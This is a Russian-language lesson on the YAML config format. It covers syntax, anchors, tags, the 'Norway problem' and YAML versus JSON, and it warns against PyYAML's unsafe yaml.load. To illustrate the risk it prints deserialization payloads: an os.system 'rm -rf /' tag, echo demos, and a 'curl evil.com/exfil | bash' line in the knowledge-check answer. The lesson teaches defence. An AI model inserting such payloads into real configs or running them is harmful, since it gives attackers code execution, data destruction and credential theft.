Learning Platform
Глоссарий Troubleshooting
Урок 05.03 · 22 мин
Начальный
YAMLPyYAMLAnchorsSecurityConfigs

YAML: формат конфигов, в котором есть подводные камни

YAML — формат, который вы встретите в 100% DevOps-задач: docker-compose, Kubernetes manifests, GitHub Actions, ansible playbooks. Для DE это означает, что любая работа с инфраструктурой ETL — это YAML. И за иллюзией «человекочитаемого формата» прячется куча сюрпризов: значимые отступы, валидный синтаксис, который значит не то, что кажется (country: NO парсится как false), и опасный yaml.load, который позволяет атакующему выполнить произвольный Python-код.

В этом уроке разберём YAML 1.2, anchors/aliases для DRY, разницу safe_load vs load, типичные подводные камни и сравнение с JSON.


YAML 1.2: что это

YAML расшифровывается как «YAML Ain’t Markup Language» (рекурсивный акроним). Текущая версия — 1.2 (2009), хотя многие парсеры де-факто поддерживают 1.1 features. PyYAML по умолчанию работает в режиме 1.1, что приводит к нескольким сюрпризам (см. ниже).

Ключевые свойства:

  • Человекочитаемость — без скобок и кавычек.
  • Значимые отступы (как в Python) — структура задаётся indent’ом.
  • Поддержка mapping, sequence, scalars — три базовых структуры.
  • Anchors и aliases — ссылки внутри документа, позволяют не повторять блоки.
  • Tags — явное указание типа значения.
  • Multi-document — один файл может содержать несколько YAML-документов через ---.

Пример типичного YAML:

version: "3.8"
services:
  web:
    image: nginx:1.27
    ports:
      - "80:80"
    environment:
      - DEBUG=true
      - API_URL=https://api.example.com
  db:
    image: postgres:16
    volumes:
      - db_data:/var/lib/postgresql/data
volumes:
  db_data:

То же самое в JSON:

{
  "version": "3.8",
  "services": {
    "web": {
      "image": "nginx:1.27",
      "ports": ["80:80"],
      "environment": ["DEBUG=true", "API_URL=https://api.example.com"]
    },
    "db": {
      "image": "postgres:16",
      "volumes": ["db_data:/var/lib/postgresql/data"]
    }
  },
  "volumes": {"db_data": null}
}

YAML более компактен и без лишних кавычек/скобок. Это не просто косметика — для конфигов с множеством полей разница большая.


Структуры: mappings, sequences, scalars

Три базовых типа YAML
MappingАналог JSON object / Python dict. Пары ключ: значение, разделённые двоеточием. Block style (отступы) или flow style ({key: value})
SequenceАналог JSON array / Python list. Block style -- каждый элемент с дефисом. Flow style -- [item1, item2]
ScalarAtomic value: string, number, boolean, null. Тип определяется содержимым автоматически (или явно через tag)

YAML поддерживает два стиля для каждого типа:

# Block style
person:
  name: Alice
  hobbies:
    - reading
    - hiking

# Flow style (как JSON)
person: {name: Alice, hobbies: [reading, hiking]}

# Можно смешивать
person:
  name: Alice
  hobbies: [reading, hiking]  # inline list

Block style — основной для конфигов. Flow style — для inline-данных.

Скаляры в YAML 1.1 (PyYAML default) автоматически парсятся:

  • 42 -> integer.
  • 3.14 -> float.
  • true, True, yes, Yes, on, On -> boolean true.
  • false, False, no, No, off, Off -> boolean false.
  • null, Null, ~ или просто пусто -> null.

Это источник знаменитой проблемы Norway:

countries:
  - NO    # Norway? нет -- это БУЛЕВ false!
  - SE    # Sweden -- string
  - JP    # Japan -- string

В YAML 1.1 NO — это альтернативная запись для false. После парсинга countries[0] становится False, не 'NO'. В YAML 1.2 этого нет (только true/false/null), но PyYAML по умолчанию работает как 1.1.

Решение — явные кавычки или явный tag:

countries:
  - "NO"           # явно строка
  - !!str NO       # явно strict string через tag
WARNING

В YAML значимые отступы (как в Python) — но в отличие от Python, нельзя смешивать tabs и spaces. Tabs запрещены вообще для отступов (но допустимы внутри scalar-значений). Если редактор автоматически вставляет tab — YAML-парсер падает с непонятной ошибкой. Всегда configure редактор на spaces для YAML файлов.


Anchors и aliases: DRY в YAML

Если один и тот же блок повторяется в нескольких местах, можно объявить anchor с & и сослаться на него через alias *.

# Anchor -- определение
defaults: &defaults
  timeout: 30
  retries: 3
  log_level: info

# Alias -- ссылка
production:
  <<: *defaults    # merge keys: вставить все ключи из defaults
  host: prod.example.com

staging:
  <<: *defaults
  host: staging.example.com
  log_level: debug    # override

После парсинга:

{
  'defaults': {'timeout': 30, 'retries': 3, 'log_level': 'info'},
  'production': {'timeout': 30, 'retries': 3, 'log_level': 'info', 'host': 'prod.example.com'},
  'staging': {'timeout': 30, 'retries': 3, 'log_level': 'debug', 'host': 'staging.example.com'}
}

Merge keys — это extension YAML, работает в большинстве парсеров (PyYAML — да, Kubernetes parser — частично, GitHub Actions — нет). Если нужна максимальная переносимость, лучше копипастить.

Anchor можно использовать и для скаляров:

default_timeout: &timeout 30

services:
  api:
    timeout: *timeout
  worker:
    timeout: *timeout

Anchor referenceable только внутри одного документа. Между документами в multi-document файле — нет.


Tags: явное указание типа

Иногда автоматический type inference ошибается, или вы хотите конкретный тип. Tags — это явное указание.

# Числа как строки
phone: !!str 1234567890       # string '1234567890', не int 1234567890

# Бинарные данные
icon: !!binary |
  R0lGODlhDAAMAIQAAP//9/X
  17unp5WZmZgAAAOfn515eXv

# Множества (set, не list)
tags: !!set
  ? python
  ? rust
  ? sql

# Pyaml-специфичный тег для timestamp
created: !!timestamp 2026-05-15T12:30:00

# Кастомные теги для приложения
deploy:
  - !aws/ec2
    instance_type: t3.medium
  - !aws/s3
    bucket: my-bucket

Стандартные tags YAML 1.2: !!str, !!int, !!float, !!bool, !!null, !!seq, !!map, !!set, !!binary, !!timestamp. Кастомные начинаются с одного !.

Кастомные tags — это то, чем приложения расширяют YAML. Например, !Ref в AWS CloudFormation, !Vault в ansible. Парсер должен знать, как их обрабатывать (через custom Loader).


yaml.load vs yaml.safe_load: критичная разница

PyYAML предоставляет несколько функций для загрузки:

import yaml

# ОПАСНО -- позволяет construct произвольных Python объектов
data = yaml.load(yaml_text, Loader=yaml.Loader)

# ПРАВИЛЬНО -- только базовые типы
data = yaml.safe_load(yaml_text)

# Также правильно
data = yaml.load(yaml_text, Loader=yaml.SafeLoader)

yaml.load(..., Loader=yaml.Loader) поддерживает специальные tags типа !!python/object, которые могут конструировать произвольные Python объекты. Это включает !!python/object/apply:os.system — что позволяет выполнить произвольный код.

# Атакующий присылает такой YAML
some_field: !!python/object/apply:os.system ['rm -rf /']

Если ваш код делает yaml.load(user_input, Loader=yaml.Loader), он выполнит os.system('rm -rf /'). Это RCE (Remote Code Execution).

import yaml

# Это упадёт с ConstructorError на safe_load -- безопасно
malicious = "x: !!python/object/apply:os.system ['echo PWNED']"
try:
    yaml.safe_load(malicious)
except yaml.constructor.ConstructorError as e:
    print(f"Blocked: {e}")
    # could not determine a constructor for the tag '!!python/object/apply:os.system'

# Но если использовать yaml.load -- выполнится
yaml.load(malicious, Loader=yaml.Loader)
# Выведет: PWNED
DANGER

ВСЕГДА используйте yaml.safe_load (или yaml.load с SafeLoader). yaml.load без явного Loader в новых версиях PyYAML deprecation warning, но в legacy коде встречается. Это самая частая security-уязвимость в Python-приложениях, работающих с YAML.

Если вам нужно работать с custom tags для своего приложения — extends SafeLoader, добавляя только нужные конструкторы. Не используйте полный Loader.


YAML в DevOps: примеры из жизни

Imperative vs Declarative: два паттерна работы с API YAML и TOML: форматы для конфигов
Где DE встретит YAML
docker-compose.ymlОписание мульти-контейнерного приложения. services, volumes, networks. Локальная разработка и простые prod-deployments
Kubernetes manifestsDeployments, Services, ConfigMaps, Secrets -- всё в YAML. Один файл часто содержит несколько объектов через --- separator
GitHub Actions.github/workflows/*.yml -- описание CI/CD pipelines. Jobs, steps, triggers, secrets
ansible playbooksОписание провижининга серверов. Tasks, handlers, vars
Helm chartsvalues.yaml -- конфигурация для k8s deployment через Helm. Templating через Go templates
dbt project filesdbt_project.yml, schema.yml -- описание моделей и тестов в data warehouse

Пример Kubernetes Deployment:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: api-server
  labels:
    app: api
spec:
  replicas: 3
  selector:
    matchLabels:
      app: api
  template:
    metadata:
      labels:
        app: api
    spec:
      containers:
        - name: api
          image: myorg/api:v2.5.0
          ports:
            - containerPort: 8080
          env:
            - name: DATABASE_URL
              valueFrom:
                secretKeyRef:
                  name: db-creds
                  key: url
          resources:
            requests:
              cpu: "100m"
              memory: "256Mi"
            limits:
              cpu: "500m"
              memory: "512Mi"
---
apiVersion: v1
kind: Service
metadata:
  name: api-service
spec:
  selector:
    app: api
  ports:
    - port: 80
      targetPort: 8080

Multi-document через ---. Парсинг:

import yaml

with open("deployment.yaml") as f:
    docs = list(yaml.safe_load_all(f))  # iterator по документам
    for doc in docs:
        print(doc['kind'], doc['metadata']['name'])
        # Deployment api-server
        # Service api-service

YAML vs JSON: когда что выбрать

YAML vs JSON tradeoffs
ЧеловекочитаемостьYAML без кавычек и скобок, поддерживает comments -- лучше для конфигов, которые редактируют люди
Машинная обработкаJSON proще, быстрее, нет двусмысленностей. Все парсеры дают одинаковый результат -- стандарт строже
API responsesJSON -- стандарт для REST/GraphQL API. YAML в API почти не используется (хотя возможно)
CommentsYAML поддерживает # comments. JSON НЕТ. Это критично для конфигов -- нужно объяснять, зачем что нужно
Скорость парсингаJSON парсится быстрее YAML -- простые токены, без отступов. orjson vs PyYAML -- разница в 10-50x
Размер файлаYAML обычно компактнее (нет лишних кавычек/скобок), но не сильно -- 10-20%
Безопасность парсингаJSON парсер не имеет 'опасных режимов' -- тип всегда определяется по синтаксису. YAML с не-safe loader = RCE
DRY (anchors)YAML позволяет не повторять блоки через anchors/aliases. В JSON нужно копировать или обрабатывать на уровне приложения

Правило: JSON для машин, YAML для людей. API -> JSON. Конфиги -> YAML. Большие данные -> ни то, ни другое (Parquet/Avro).


Подводные камни

Проблема Norway. NO, OFF, YES парсятся как booleans. Решение: использовать YAML 1.2 strict parser (ruamel.yaml с typ='safe', pure=True) или явно квотить.

Версии в строках. version: 3.8 парсится как float 3.8. Если нужна именно строка '3.8' (например, для compose-version) — version: "3.8".

Числа с leading zero. code: 0123 в YAML 1.1 — это OCTAL number (= 83 в decimal). YAML 1.2 не имеет octal-literal такого вида. PyYAML обработает как octal. Решение: квотить.

Tabs. Внутри scalar — OK. В indent — запрещено. Редакторы часто автоинсёртят tab. Один tab — и парсер падает.

Глубокая вложенность. Большие YAML-файлы (Helm values на 1000+ строк) становятся нечитаемыми. Лучше разбивать на несколько файлов и собирать через include/import (Helm partials, ansible imports).

Дубликаты ключей в map. Поведение не определено по spec, разные парсеры — разное поведение. PyYAML safely предупреждает, но всё равно использует последнее. В kubectl apply дубликат может вызвать silent override, что приведёт к surprise.


Попробуй сам

import yaml

# 1. Разные стили
yaml_text = """
# Block style
person:
  name: Alice
  age: 30
  hobbies:
    - reading
    - hiking

# Flow style (compact)
location: {city: Moscow, country: RU}
"""
print(yaml.safe_load(yaml_text))

# 2. Anchors и aliases
yaml_text = """
defaults: &defaults
  retries: 3
  timeout: 30

prod:
  <<: *defaults
  host: prod.com
  
staging:
  <<: *defaults
  host: staging.com
  retries: 5
"""
print(yaml.safe_load(yaml_text))

# 3. Norway problem
yaml_text = """
countries:
  - US
  - NO
  - SE
on_button:
  - on
  - off
"""
data = yaml.safe_load(yaml_text)
print(data)
# {'countries': ['US', False, 'SE'], 'on_button': [True, False]}
# NO стало False! on/off стали True/False!

# Решение: кавычки
yaml_text = '''
countries:
  - "US"
  - "NO"
  - "SE"
on_button:
  - "on"
  - "off"
'''
print(yaml.safe_load(yaml_text))

# 4. Безопасность: pop test
malicious = "x: !!python/object/apply:os.system ['echo HACKED']"
try:
    yaml.safe_load(malicious)
except yaml.constructor.ConstructorError as e:
    print(f"Blocked safely: {type(e).__name__}")

# С yaml.load -- НЕ запускайте на проде!
# yaml.load(malicious, Loader=yaml.Loader)  # выполнит os.system

# 5. Multi-document
yaml_text = """
---
kind: Deployment
name: api
---
kind: Service
name: api-svc
"""
for doc in yaml.safe_load_all(yaml_text):
    print(doc)

Проверка знанийKnowledge check
В team есть скрипт, который читает конфиг через yaml.load(open(path), Loader=yaml.Loader). Конфиг лежит в git и отчасти контролируется внешними подрядчиками (они присылают новые секции через PR). Code review junior пропустил такой PR. Какие конкретные риски это создаёт, и что делать прямо сейчас?
ОтветAnswer
Это RCE-уязвимость. yaml.load с FullLoader/Loader позволяет в YAML использовать !!python/object/apply tags, которые конструируют произвольные Python объекты. Атакующий присылает PR с строкой типа secret_key: !!python/object/apply:os.system ['curl evil.com/exfil | bash']. Когда скрипт парсит конфиг -- выполняется os.system. Атакующий получает: (1) RCE на машине где запускается скрипт (CI runner, prod server, dev машина); (2) доступ к secrets, env vars, AWS credentials, ключам в ssh-agent; (3) lateral movement к другим системам. Это не теоретическая угроза -- это самая частая Python YAML CVE, происходит регулярно. Действия прямо сейчас: (1) Заменить yaml.load на yaml.safe_load во всех файлах: grep -r 'yaml.load(' . (2) Добавить pre-commit hook или ruff rule (S506 -- UnsafeYAMLLoad) который блокирует yaml.load в новом коде. (3) Audit git history на предмет суспициозных PR -- могло быть уже использовано. (4) Если конфиг требует custom tags для legitimate целей -- наследуйтесь от SafeLoader и регистрируйте только нужные конструкторы вручную, не давайте полный Loader. (5) В долгосрочной перспективе -- мигрировать на ruamel.yaml или отдельную JSON-схему для критичных конфигов; YAML с внешним вкладом всегда требует strict validation поверх парсинга. (6) Если используете Helm/k8s/ansible -- они уже используют safe parsers, но любой свой код -- проверять.

Проверьте понимание

Результат: 0 из 0
Аналитический
Вопрос 1 из 5. В чём critical-разница между yaml.safe_load и yaml.load (с FullLoader/Loader)?

Закончили урок?

Отметьте его как пройденный, чтобы отслеживать свой прогресс

Войдите чтобы оценить урок

Прогресс модуля
0 из 5